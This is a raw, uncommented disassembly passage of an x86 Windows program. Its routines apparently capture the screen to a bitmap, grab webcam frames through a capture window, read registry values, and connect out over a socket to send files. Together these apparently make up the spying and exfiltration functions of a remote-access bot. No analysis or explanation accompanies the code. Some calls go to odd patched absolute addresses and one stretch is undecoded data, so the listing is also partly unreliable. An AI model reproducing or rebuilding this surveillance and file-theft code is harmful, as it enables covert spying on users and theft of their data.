var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= word ptr -78h
var_76		= word ptr -76h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= word ptr -4Ch
var_4A		= word ptr -4Ah
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2E		= dword	ptr -2Eh
var_2A		= word ptr -2Ah
var_28		= word ptr -28h
var_26		= dword	ptr -26h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 484h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		push	esi
		push	esi
		push	esi
		push	offset aDisplay	; "DISPLAY"
		call	dword_4CAF90
		mov	edi, eax
		cmp	edi, esi
		mov	[ebp+var_20], edi
		jz	loc_4155F0
		push	8
		push	edi
		call	dword_4CAFAC
		push	0Ah
		push	edi
		mov	[ebp+var_8], eax
		call	dword_4CAFAC
		push	0Ch
		push	edi
		mov	[ebp+var_C], eax
		call	dword_4CAFAC
		cmp	eax, 8
		mov	[ebp+var_10], eax
		ja	short loc_41541E
		push	18h
		push	edi
		call	dword_4CAFAC
		mov	ebx, 100h
		jmp	short loc_415420
; ---------------------------------------------------------------------------

loc_41541E:				; CODE XREF: sub_4153BC+50j
		xor	ebx, ebx

loc_415420:				; CODE XREF: sub_4153BC+60j
		push	edi
		call	dword_4CAFF0
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jz	loc_4155D5
		mov	eax, [ebp+var_8]
		push	esi
		mov	[ebp+var_80], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_7C], eax
		mov	ax, word ptr [ebp+var_10]
		mov	[ebp+var_76], ax
		lea	eax, [ebp+var_18]
		push	esi
		push	eax
		lea	eax, [ebp+var_84]
		push	1
		push	eax
		push	edi
		mov	[ebp+var_84], 28h
		mov	[ebp+var_78], 1
		mov	[ebp+var_74], esi
		mov	[ebp+var_70], esi
		mov	[ebp+var_6C], esi
		mov	[ebp+var_68], esi
		mov	[ebp+var_64], ebx
		mov	[ebp+var_60], ebx
		call	dword_4CAFE8
		cmp	eax, esi
		mov	[ebp+var_1C], eax
		jz	loc_4155E0
		push	eax
		push	[ebp+var_4]
		call	dword_4CAE74
		cmp	eax, esi
		jz	loc_4155E0
		cmp	eax, 0FFFFFFFFh
		jz	loc_4155E0
		push	0CC0020h
		push	esi
		push	esi
		push	edi
		push	[ebp+var_C]
		push	[ebp+var_8]
		push	esi
		push	esi
		push	[ebp+var_4]
		call	dword_4CAFEC
		test	eax, eax
		jz	loc_4155E0
		cmp	ebx, esi
		jz	short loc_4154DD
		lea	eax, [ebp+var_484]
		push	eax
		push	ebx
		push	esi
		push	[ebp+var_4]
		call	dword_4CAEC8
		mov	ebx, eax

loc_4154DD:				; CODE XREF: sub_4153BC+10Bj
		mov	edi, [ebp+var_10]
		mov	ecx, [ebp+var_8]
		imul	edi, [ebp+var_C]
		imul	edi, ecx
		mov	eax, ebx
		push	esi
		shr	edi, 3
		shl	eax, 2
		mov	[ebp+var_8], eax
		push	80h
		lea	edx, [eax+edi+36h]
		add	eax, 36h
		push	2
		mov	[ebp+var_26], eax
		mov	eax, [ebp+var_C]
		push	esi
		push	esi
		push	40000000h
		push	[ebp+arg_0]
		mov	[ebp+var_50], eax
		mov	ax, word ptr [ebp+var_10]
		mov	[ebp+var_30], 4D42h
		mov	[ebp+var_2E], edx
		mov	[ebp+var_2A], si
		mov	[ebp+var_28], si
		mov	[ebp+var_58], 28h
		mov	[ebp+var_54], ecx
		mov	[ebp+var_4C], 1
		mov	[ebp+var_4A], ax
		mov	[ebp+var_48], esi
		mov	[ebp+var_44], esi
		mov	[ebp+var_40], esi
		mov	[ebp+var_3C], esi
		mov	[ebp+var_38], ebx
		mov	[ebp+var_34], esi
		nop
		call	near ptr 26F097Dh
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	short loc_4155C0
		lea	ecx, [ebp+var_14]
		push	esi
		push	ecx
		lea	ecx, [ebp+var_30]
		push	0Eh
		push	ecx
		push	eax
		nop
		call	near ptr 26E0000h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_58]
		push	28h
		push	eax
		push	[ebp+arg_0]
		nop
		call	near ptr 26E0000h
		cmp	ebx, esi
		jz	short loc_4155A2
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_484]
		push	[ebp+var_8]
		push	eax
		push	[ebp+arg_0]
		nop
		call	near ptr 26E0000h

loc_4155A2:				; CODE XREF: sub_4153BC+1CCj
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	edi
		push	[ebp+var_18]
		push	[ebp+arg_0]
		call	near ptr 26E0000h
		nop
		push	[ebp+arg_0]
		nop
		call	near ptr 2650939h
		push	1
		pop	esi

loc_4155C0:				; CODE XREF: sub_4153BC+1A2j
		push	[ebp+var_1C]
		call	dword_4CAF00
		push	[ebp+var_4]
		call	dword_4CAE60
		mov	edi, [ebp+var_20]

loc_4155D5:				; CODE XREF: sub_4153BC+70j
		push	edi
		call	dword_4CAE60
		mov	eax, esi
		jmp	short loc_4155F2
; ---------------------------------------------------------------------------

loc_4155E0:				; CODE XREF: sub_4153BC+C7j
					; sub_4153BC+D9j ...
		push	edi
		call	dword_4CAE60
		push	[ebp+var_4]
		call	dword_4CAE60

loc_4155F0:				; CODE XREF: sub_4153BC+23j
		xor	eax, eax

loc_4155F2:				; CODE XREF: sub_4153BC+222j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4153BC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4155F7	proc near		; CODE XREF: sub_401ACD+7476p

var_34		= byte ptr -34h
var_20		= dword	ptr -20h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	esi
		xor	ebx, ebx
		push	esi
		push	dword_4D2BD0
		push	78h
		push	0A0h
		push	ebx
		push	ebx
		push	40000000h
		push	offset aWindow	; "Window"
		call	dword_4CAEF4
		mov	edi, eax
		cmp	edi, ebx
		mov	[ebp+var_4], edi
		jnz	short loc_415635
		mov	eax, esi
		jmp	loc_4157EB
; ---------------------------------------------------------------------------

loc_415635:				; CODE XREF: sub_4155F7+35j
		push	edi
		call	dword_4CAF44
		test	eax, eax
		jz	short loc_415652
		push	ebx
		push	[ebp+arg_4]
		push	40Ah
		push	edi
		call	dword_4CB000
		jmp	short loc_415654
; ---------------------------------------------------------------------------

loc_415652:				; CODE XREF: sub_4155F7+47j
		xor	eax, eax

loc_415654:				; CODE XREF: sub_4155F7+59j
		cmp	eax, ebx
		jnz	short loc_41565F

loc_415658:				; CODE XREF: sub_4155F7+88j
					; sub_4155F7+BCj
		mov	ebx, esi
		jmp	loc_4157E0
; ---------------------------------------------------------------------------

loc_41565F:				; CODE XREF: sub_4155F7+5Fj
		push	edi
		call	dword_4CAF44
		test	eax, eax
		jz	short loc_41567C
		lea	eax, [ebp+var_34]
		push	eax
		push	2Ch
		push	40Eh
		push	edi
		call	dword_4CB000

loc_41567C:				; CODE XREF: sub_4155F7+71j
		cmp	[ebp+var_20], ebx
		jz	short loc_415658
		push	edi
		call	dword_4CAF44
		test	eax, eax
		mov	edi, 42Ch
		jz	short loc_4156A2
		push	ebx
		push	ebx
		push	edi
		push	[ebp+var_4]
		call	dword_4CB000
		mov	[ebp+arg_4], eax
		jmp	short loc_4156A5
; ---------------------------------------------------------------------------

loc_4156A2:				; CODE XREF: sub_4155F7+98j
		mov	[ebp+arg_4], ebx

loc_4156A5:				; CODE XREF: sub_4155F7+A9j
		push	[ebp+arg_4]
		call	sub_41B4D5
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_8], eax
		jz	short loc_415658
		push	[ebp+arg_4]
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_4156CC
		push	1
		pop	ebx
		jmp	loc_4157E0
; ---------------------------------------------------------------------------

loc_4156CC:				; CODE XREF: sub_4155F7+CBj
		push	[ebp+var_4]
		call	dword_4CAF44
		test	eax, eax
		jz	short loc_4156E9
		push	[ebp+var_8]
		push	[ebp+arg_4]
		push	edi
		push	[ebp+var_4]
		call	dword_4CB000

loc_4156E9:				; CODE XREF: sub_4155F7+E0j
		push	[ebp+arg_4]
		push	[ebp+var_8]
		push	esi
		call	sub_41C310
		mov	ecx, [ebp+arg_8]
		add	esp, 0Ch
		cmp	ecx, ebx
		jg	short loc_415704
		mov	ecx, 280h

loc_415704:				; CODE XREF: sub_4155F7+106j
		mov	eax, [ebp+arg_C]
		cmp	eax, ebx
		jg	short loc_415710
		mov	eax, 1E0h

loc_415710:				; CODE XREF: sub_4155F7+112j
		push	[ebp+var_4]
		mov	[esi+4], ecx
		mov	[esi+8], eax
		mov	word ptr [esi+0Eh], 10h
		mov	[esi+14h], ebx
		mov	[esi+10h], ebx
		mov	[esi+20h], ebx
		mov	[esi+24h], ebx
		mov	word ptr [esi+0Ch], 1
		mov	[esi+28h], bl
		mov	[esi+29h], bl
		mov	[esi+2Ah], bl
		mov	[esi+2Bh], bl
		call	dword_4CAF44
		test	eax, eax
		mov	edi, 42Dh
		jz	short loc_41575A
		push	esi
		push	[ebp+arg_4]
		push	edi
		push	[ebp+var_4]
		call	dword_4CB000

loc_41575A:				; CODE XREF: sub_4155F7+153j
		push	[ebp+var_4]
		call	dword_4CAF44
		test	eax, eax
		jz	short loc_415777
		push	ebx
		push	ebx
		push	43Dh
		push	[ebp+var_4]
		call	dword_4CB000

loc_415777:				; CODE XREF: sub_4155F7+16Ej
		push	[ebp+var_4]
		call	dword_4CAF44
		test	eax, eax
		jz	short loc_415796
		push	[ebp+arg_0]
		push	ebx
		push	419h
		push	[ebp+var_4]
		call	dword_4CB000

loc_415796:				; CODE XREF: sub_4155F7+18Bj
		push	[ebp+var_4]
		call	dword_4CAF44
		test	eax, eax
		jz	short loc_4157B3
		push	[ebp+var_8]
		push	[ebp+arg_4]
		push	edi
		push	[ebp+var_4]
		call	dword_4CB000

loc_4157B3:				; CODE XREF: sub_4155F7+1AAj
		push	[ebp+var_8]
		call	sub_41B0B1
		push	esi
		call	sub_41B0B1
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CAF44
		test	eax, eax
		jz	short loc_4157E0
		push	ebx
		push	ebx
		push	40Bh
		push	[ebp+var_4]
		call	dword_4CB000

loc_4157E0:				; CODE XREF: sub_4155F7+63j
					; sub_4155F7+D0j ...
		push	[ebp+var_4]
		call	dword_4CB054
		mov	eax, ebx

loc_4157EB:				; CODE XREF: sub_4155F7+39j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4155F7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4157F0	proc near		; CODE XREF: sub_401ACD+752Ep

var_90		= byte ptr -90h
var_7C		= dword	ptr -7Ch
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 90h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	esi
		xor	ebx, ebx
		push	esi
		push	dword_4D2BD0
		push	78h
		push	0A0h
		push	ebx
		push	ebx
		push	40000000h
		push	offset aWindow	; "Window"
		call	dword_4CAEF4
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_41582E
		mov	eax, esi
		jmp	loc_415A2A
; ---------------------------------------------------------------------------

loc_41582E:				; CODE XREF: sub_4157F0+35j
		push	edi
		call	dword_4CAF44
		test	eax, eax
		jz	short loc_41584B
		push	ebx
		push	[ebp+arg_4]
		push	40Ah
		push	edi
		call	dword_4CB000
		jmp	short loc_41584D
; ---------------------------------------------------------------------------

loc_41584B:				; CODE XREF: sub_4157F0+47j
		xor	eax, eax

loc_41584D:				; CODE XREF: sub_4157F0+59j
		cmp	eax, ebx
		jnz	short loc_415858

loc_415851:				; CODE XREF: sub_4157F0+8Bj
					; sub_4157F0+BCj
		mov	ebx, esi
		jmp	loc_415A21
; ---------------------------------------------------------------------------

loc_415858:				; CODE XREF: sub_4157F0+5Fj
		push	edi
		call	dword_4CAF44
		test	eax, eax
		jz	short loc_415878
		lea	eax, [ebp+var_90]
		push	eax
		push	2Ch
		push	40Eh
		push	edi
		call	dword_4CB000

loc_415878:				; CODE XREF: sub_4157F0+71j
		cmp	[ebp+var_7C], ebx
		jz	short loc_415851
		push	edi
		call	dword_4CAF44
		test	eax, eax
		jz	short loc_41589B
		push	ebx
		push	ebx
		push	42Ch
		push	edi
		call	dword_4CB000
		mov	[ebp+arg_4], eax
		jmp	short loc_41589E
; ---------------------------------------------------------------------------

loc_41589B:				; CODE XREF: sub_4157F0+96j
		mov	[ebp+arg_4], ebx

loc_41589E:				; CODE XREF: sub_4157F0+A9j
		push	[ebp+arg_4]
		call	sub_41B4D5
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short loc_415851
		push	[ebp+arg_4]
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_4158C5
		push	1
		pop	ebx
		jmp	loc_415A21
; ---------------------------------------------------------------------------

loc_4158C5:				; CODE XREF: sub_4157F0+CBj
		push	edi
		call	dword_4CAF44
		test	eax, eax
		jz	short loc_4158E2
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	42Ch
		push	edi
		call	dword_4CB000

loc_4158E2:				; CODE XREF: sub_4157F0+DEj
		push	[ebp+arg_4]
		push	[ebp+var_4]
		push	esi
		call	sub_41C310
		mov	ecx, [ebp+arg_C]
		add	esp, 0Ch
		cmp	ecx, ebx
		jg	short loc_4158FD
		mov	ecx, 0A0h

loc_4158FD:				; CODE XREF: sub_4157F0+106j
		mov	eax, [ebp+arg_10]
		cmp	eax, ebx
		jg	short loc_415907
		push	78h
		pop	eax

loc_415907:				; CODE XREF: sub_4157F0+112j
		push	edi
		mov	[esi+4], ecx
		mov	[esi+8], eax
		mov	word ptr [esi+0Eh], 10h
		mov	[esi+14h], ebx
		mov	[esi+10h], ebx
		mov	[esi+20h], ebx
		mov	[esi+24h], ebx
		mov	word ptr [esi+0Ch], 1
		mov	[esi+28h], bl
		mov	[esi+29h], bl
		mov	[esi+2Ah], bl
		mov	[esi+2Bh], bl
		call	dword_4CAF44
		test	eax, eax
		jz	short loc_41594C
		push	esi
		push	[ebp+arg_4]
		push	42Dh
		push	edi
		call	dword_4CB000

loc_41594C:				; CODE XREF: sub_4157F0+14Aj
		push	edi
		call	dword_4CAF44
		test	eax, eax
		jz	short loc_415969
		lea	eax, [ebp+var_64]
		push	eax
		push	60h
		push	441h
		push	edi
		call	dword_4CB000

loc_415969:				; CODE XREF: sub_4157F0+165j
		push	edi
		mov	[ebp+var_60], ebx
		mov	[ebp+var_3C], ebx
		mov	[ebp+var_38], ebx
		mov	[ebp+var_34], ebx
		mov	[ebp+var_30], 1
		mov	[ebp+var_2C], 5
		mov	[ebp+var_64], 1046Ah
		call	dword_4CAF44
		test	eax, eax
		jz	short loc_4159A7
		lea	eax, [ebp+var_64]
		push	eax
		push	60h
		push	440h
		push	edi
		call	dword_4CB000

loc_4159A7:				; CODE XREF: sub_4157F0+1A3j
		push	edi
		call	dword_4CAF44
		test	eax, eax
		jz	short loc_4159C2
		push	[ebp+arg_0]
		push	ebx
		push	414h
		push	edi
		call	dword_4CB000

loc_4159C2:				; CODE XREF: sub_4157F0+1C0j
		push	edi
		call	dword_4CAF44
		test	eax, eax
		jz	short loc_4159DB
		push	ebx
		push	ebx
		push	43Eh
		push	edi
		call	dword_4CB000

loc_4159DB:				; CODE XREF: sub_4157F0+1DBj
		push	edi
		call	dword_4CAF44
		test	eax, eax
		jz	short loc_4159F8
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	42Dh
		push	edi
		call	dword_4CB000

loc_4159F8:				; CODE XREF: sub_4157F0+1F4j
		push	[ebp+var_4]
		call	sub_41B0B1
		push	esi
		call	sub_41B0B1
		pop	ecx
		pop	ecx
		push	edi
		call	dword_4CAF44
		test	eax, eax
		jz	short loc_415A21
		push	ebx
		push	ebx
		push	40Bh
		push	edi
		call	dword_4CB000

loc_415A21:				; CODE XREF: sub_4157F0+63j
					; sub_4157F0+D0j ...
		push	edi
		call	dword_4CB054
		mov	eax, ebx

loc_415A2A:				; CODE XREF: sub_4157F0+39j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4157F0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415A2F	proc near		; CODE XREF: sub_401ACD+25F1p

var_3F4		= byte ptr -3F4h
var_2F0		= byte ptr -2F0h
var_F0		= byte ptr -0F0h
var_70		= byte ptr -70h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 3F4h
		push	ebx
		xor	ebx, ebx
		cmp	off_43622C, ebx
		mov	[ebp+var_C], 80h
		jz	loc_415BD0
		push	esi
		push	edi
		mov	eax, offset off_43622C
		mov	esi, offset dword_436238
		mov	edi, offset dword_437430

loc_415A5F:				; CODE XREF: sub_415A2F+199j
		lea	ecx, [ebp+var_4]
		push	ecx
		push	20019h
		push	ebx
		push	dword ptr [eax]
		push	dword ptr [esi-10h]
		call	dword_4CB014
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_F0]
		push	eax
		push	ebx
		push	ebx
		push	dword ptr [esi-8]
		push	[ebp+var_4]
		call	dword_4CAEA4
		test	eax, eax
		jnz	loc_415BB6
		mov	eax, [esi]
		cmp	eax, ebx
		jz	loc_415B7A
		push	eax
		lea	eax, [ebp+var_F0]
		push	eax
		lea	eax, [ebp+var_3F4]
		push	offset dword_4293EC
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_3F4]
		push	offset aR	; "r"
		push	eax
		call	sub_41B4C2
		add	esp, 18h
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jz	loc_415BB6
		push	eax

loc_415AD8:				; CODE XREF: sub_415A2F+D4j
		lea	eax, [ebp+var_70]
		push	64h
		push	eax
		call	sub_41BB4F
		add	esp, 0Ch
		test	eax, eax
		jz	loc_415B6F
		push	dword ptr [esi+4]
		lea	eax, [ebp+var_70]
		push	eax
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_415B05
		push	[ebp+var_8]
		jmp	short loc_415AD8
; ---------------------------------------------------------------------------

loc_415B05:				; CODE XREF: sub_415A2F+CFj
		push	3Dh
		push	dword ptr [esi+4]
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_415B33
		lea	eax, [ebp+var_70]
		push	offset asc_43742C ; "="
		push	eax
		call	sub_41C0F4
		push	offset asc_43742C ; "="
		push	ebx
		call	sub_41C0F4
		add	esp, 10h
		jmp	short loc_415B36
; ---------------------------------------------------------------------------

loc_415B33:				; CODE XREF: sub_415A2F+E4j
		lea	eax, [ebp+var_70]

loc_415B36:				; CODE XREF: sub_415A2F+102j
		push	eax
		lea	eax, [ebp+var_2F0]
		push	dword ptr [esi-4]
		push	edi
		push	eax
		call	sub_41B886
		add	esp, 10h
		lea	eax, [ebp+var_2F0]
		push	ebx
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_4151AC
		add	esp, 18h

loc_415B6F:				; CODE XREF: sub_415A2F+B9j
		push	[ebp+var_8]
		call	sub_41B05B
		pop	ecx
		jmp	short loc_415BB6
; ---------------------------------------------------------------------------

loc_415B7A:				; CODE XREF: sub_415A2F+6Aj
		lea	eax, [ebp+var_F0]
		push	eax
		lea	eax, [ebp+var_2F0]
		push	dword ptr [esi-4]
		push	edi
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2F0]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_4151AC
		add	esp, 28h

loc_415BB6:				; CODE XREF: sub_415A2F+60j
					; sub_415A2F+A2j ...
		push	[ebp+var_4]
		call	dword_4CAF80
		add	esi, 18h
		cmp	[esi-0Ch], ebx
		lea	eax, [esi-0Ch]
		jnz	loc_415A5F
		pop	edi
		pop	esi

loc_415BD0:				; CODE XREF: sub_415A2F+19j
		pop	ebx
		leave
		retn
sub_415A2F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415BD3	proc near		; CODE XREF: ___:00416278p

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		push	0
		push	1
		push	2
		call	dword_4CB024
		mov	edi, eax
		or	esi, 0FFFFFFFFh
		cmp	edi, esi
		jz	short loc_415C4F
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_4]
		call	dword_4CAFA4
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	dword_4CAFE4
		cmp	eax, esi
		jnz	short loc_415C34
		push	[ebp+arg_0]
		call	dword_4CB028
		test	eax, eax
		jz	short loc_415C4F
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]

loc_415C34:				; CODE XREF: sub_415BD3+4Bj
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	dword_4CAF4C
		cmp	eax, esi
		jnz	short loc_415C53
		push	edi
		call	dword_4CB03C

loc_415C4F:				; CODE XREF: sub_415BD3+1Bj
					; sub_415BD3+58j
		mov	eax, esi
		jmp	short loc_415C55
; ---------------------------------------------------------------------------

loc_415C53:				; CODE XREF: sub_415BD3+73j
		mov	eax, edi

loc_415C55:				; CODE XREF: sub_415BD3+7Ej
		pop	edi
		pop	esi
		leave
		retn
sub_415BD3	endp

; ---------------------------------------------------------------------------
byte_415C59	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+A1Eo
		dd 11B4B8h, 5EBAE800h, 458B0000h, 57565308h, 0F08B6D6Ah
		dd 4CBD8D59h, 0F3FFFFFEh, 5E016AA5h, 89EC75FFh,	1B0B0h
		dd 54858D00h, 50FFFFFEh, 0FFFF42E8h, 59D88BFFh,	59FFFB83h
		dd 858D5275h, 0FFFFEE4Ch, 4374AC68h, 0DBE85000h, 3300005Bh
		dd 7D3959FFh, 1B7559F8h, 4C858D57h, 0FFFFFFEEh,	8D50F475h
		dd 0FFFF6C85h, 0E85350FFh, 0FFFF3DA6h, 8D14C483h, 0FFEE4C85h
		dd 0D1E850FFh, 0FFFFFFF4h, 2FE8F075h, 59FFFF57h, 0E8905659h
		dd 22BA314h, 43D15868h,	6DE85300h, 5900003Fh, 59FFF883h
		dd 858D5975h, 0FFFFEE4Ch, 43747C68h, 77E85000h,	3300005Bh
		dd 7D3959FFh, 1B7559F8h, 4C858D57h, 0FFFFFFEEh,	8D50F475h
		dd 0FFFF6C85h, 0E85350FFh, 0FFFF3D42h, 8D14C483h, 0FFEE4C85h
		dd 6DE850FFh, 59FFFFF4h, 3C15FF53h, 0FF004CB0h,	0C3E8F075h
		dd 59FFFF56h, 0A9E89056h, 6A022BA2h, 0D6E89064h, 330225A7h
		dd 1000BEFFh, 8D560000h, 0FFEE4C85h, 0E85057FFh, 581Ch
		dd 8D0CC483h, 0FFEE4C85h, 505657FFh, 0BC15FF53h, 85004CAFh
		dd 8D387EC0h, 0FFEE4C85h, 99C868FFh, 0E8500042h, 6124h
		dd 0EE4C858Dh, 0E850FFFFh, 3CA8h, 850CC483h, 6A1474C0h
		dd 7EE89064h, 6A0225A7h, 5580E80Ah, 0C085FFFFh,	8DA37559h
		dd 0FFEE4C85h, 744868FFh, 0E8500043h, 5AB2h, 59F87D39h
		dd 571B7559h, 0EE4C858Dh, 75FFFFFFh, 858D50F4h,	0FFFFFF6Ch
		dd 7FE85350h, 83FFFF3Ch, 858D14C4h, 0FFFFEE4Ch,	0F3AAE850h
		dd 5359FFFFh, 0B03C15FFh, 75FF004Ch, 5600E8F0h,	5759FFFFh
		dd 2BA1E7E8h
		db 2, 90h
; ---------------------------------------------------------------------------

loc_415E1A:				; DATA XREF: sub_401ACD+7831o
		push	ebp
		mov	ebp, esp
		sub	esp, 0A04h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-1FCh]
		rep movsd
		push	1
		xor	esi, esi
		pop	ebx
		mov	[ebp-10h], esi
		push	esi
		push	ebx
		push	2
		mov	[eax+1B0h], ebx
		mov	[ebp-0Ch], esi
		mov	[ebp-20h], esi
		call	dword_4CB024
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp-18h], edi
		jnz	short loc_415E68
		push	offset unk_4375AC
		jmp	loc_416021
; ---------------------------------------------------------------------------

loc_415E68:				; CODE XREF: ___:00415E5Cj
		push	10h
		lea	eax, [ebp-30h]
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	word ptr [ebp-30h], 2
		push	esi
		call	dword_4CAFA4
		mov	[ebp-2Eh], ax
		lea	eax, [ebp-30h]
		push	10h
		push	eax
		push	edi
		mov	[ebp-2Ch], esi
		call	dword_4CAFD0
		test	eax, eax
		jz	short loc_415EA6
		push	offset unk_437588
		jmp	loc_416021
; ---------------------------------------------------------------------------

loc_415EA6:				; CODE XREF: ___:00415E9Aj
		lea	eax, [ebp-1Ch]
		mov	dword ptr [ebp-1Ch], 10h
		push	eax
		lea	eax, [ebp-30h]
		push	eax
		push	edi
		call	dword_4CAF48
		push	dword ptr [ebp-2Eh]
		call	dword_4CAED4
		mov	[ebp-4], eax
		lea	eax, [ebp-1E0h]
		push	eax
		mov	[ebp+8], esi
		call	sub_41AFE0
		pop	ecx

loc_415ED8:				; CODE XREF: ___:00415F09j
		mov	ecx, [ebp+8]
		mov	al, [ebp+ecx-1E0h]
		cmp	al, 20h
		jnz	short loc_415EEB
		push	5Fh
		pop	eax
		jmp	short loc_415EEE
; ---------------------------------------------------------------------------

loc_415EEB:				; CODE XREF: ___:00415EE4j
		movsx	eax, al

loc_415EEE:				; CODE XREF: ___:00415EE9j
		mov	[ebp+ecx-604h],	al
		lea	eax, [ebp-1E0h]
		inc	ecx
		push	eax
		mov	[ebp+8], ecx
		call	sub_41AFE0
		cmp	[ebp+8], eax
		pop	ecx
		jbe	short loc_415ED8
		push	ebx
		push	edi
		call	dword_4CAFCC
		test	eax, eax
		jz	short loc_415F21
		push	offset unk_4374AC
		jmp	loc_416021
; ---------------------------------------------------------------------------

loc_415F21:				; CODE XREF: ___:00415F15j
		push	esi
		push	esi
		push	3
		push	esi
		push	ebx
		lea	eax, [ebp-1E0h]
		push	80000000h
		push	eax
		nop
		call	near ptr 26F097Dh
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-8], eax
		jnz	short loc_415F4B
		push	offset unk_437568
		jmp	loc_416021
; ---------------------------------------------------------------------------

loc_415F4B:				; CODE XREF: ___:00415F3Fj
		push	esi
		push	eax
		call	near ptr 2720BEBh
		nop
		mov	[ebp+8], eax
		push	eax
		movzx	eax, word ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_40AC0F
		pop	ecx
		push	eax
		call	dword_4CAFE4
		push	eax
		call	dword_4CAFA0
		push	eax
		lea	eax, [ebp-1E0h]
		push	eax
		lea	eax, [ebp-3FCh]
		push	offset dword_437550
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp-3FCh]
		push	esi
		push	eax
		lea	eax, [ebp-0DCh]
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_409A72
		add	esp, 2Ch
		lea	eax, [ebp-38h]
		mov	dword ptr [ebp-38h], 3Ch
		mov	[ebp-34h], esi
		push	eax
		push	esi
		lea	eax, [ebp-500h]
		push	esi
		push	eax
		push	esi
		mov	[ebp-4FCh], edi
		mov	[ebp-500h], ebx
		call	dword_4CAF8C
		test	eax, eax
		jg	short loc_415FFB
		push	esi
		lea	eax, [ebp-0DCh]
		push	dword ptr [ebp-54h]
		push	offset dword_437538
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_409A72
		jmp	loc_41611F
